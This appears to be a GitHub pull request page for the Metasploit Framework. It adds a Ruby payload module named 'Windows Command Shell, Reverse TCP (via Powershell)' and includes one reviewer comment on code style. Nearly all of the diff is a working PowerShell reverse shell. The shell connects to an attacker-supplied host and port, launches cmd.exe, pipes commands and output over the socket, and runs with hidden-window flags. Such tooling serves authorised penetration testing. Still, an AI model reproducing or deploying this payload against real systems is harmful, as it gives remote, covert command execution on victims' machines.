Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Windows CMD Powershell Reverse TCP #2959

Merged
merged 4 commits into from
Feb 19, 2014
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
91 changes: 91 additions & 0 deletions modules/payloads/singles/cmd/windows/reverse_powershell.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/handler/find_shell'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions

def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Command Shell, Reverse TCP (via Powershell)',
'Description' => 'Connect back and create a command shell via Powershell',
'Author' => ['Ben Campbell', 'Dave Kennedy'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'powershell',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end

#
# Constructs the payload
#
def generate
return super + command_string
end

#
# Returns the command string to use for execution
#
def command_string
lhost = datastore['LHOST']
lport = datastore['LPORT']
powershell = "function RSC{"\
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe a heredoc with per-line strip would make this a little more readable:

powershell = <<-EOS.lines.map(&:strip).join
  function RSC{
  …
  }else{RSC}};
EOS

"if ($c.Connected -eq $true) {$c.Close()};"\
"if ($p.ExitCode -ne $null) {$p.Close()};"\
"exit;"\
"};"\
"$a='#{lhost}';$p='#{lport}';$c=New-Object system.net.sockets.tcpclient;"\
"$c.connect($a,$p);$s=$c.GetStream();"\
"$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"\
"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"\
"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"\
"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"\
"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"\
"while($os.Peek() -ne -1){"\
"$o += $e.GetString($os.Read())"\
"};"\
"$s.Write($e.GetBytes($o),0,$o.Length);"\
"$o=$null;$d=$false;$t=0;"\
"while (-not $d) {"\
"if ($c.Connected -ne $true) {RSC};"\
"$pos=0;$i=1; "\
"while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
"$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
"$pos+=$r;"\
"if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\
"if ($pos -gt 0){"\
"$str=$e.GetString($nb,0,$pos);"\
"$is.write($str);start-sleep 1;"\
"if ($p.ExitCode -ne $null){RSC}else{"\
"$o=$e.GetString($os.Read());"\
"while($os.Peek() -ne -1){"\
"$o += $e.GetString($os.Read());"\
"if ($o -eq $str) {$o=''}"\
"};"\
"$s.Write($e.GetBytes($o),0,$o.length);"\
"$o=$null;"\
"$str=$null"\
"}"\
"}else{RSC}};"\

return "powershell -w hidden -nop -c #{powershell}"
end

end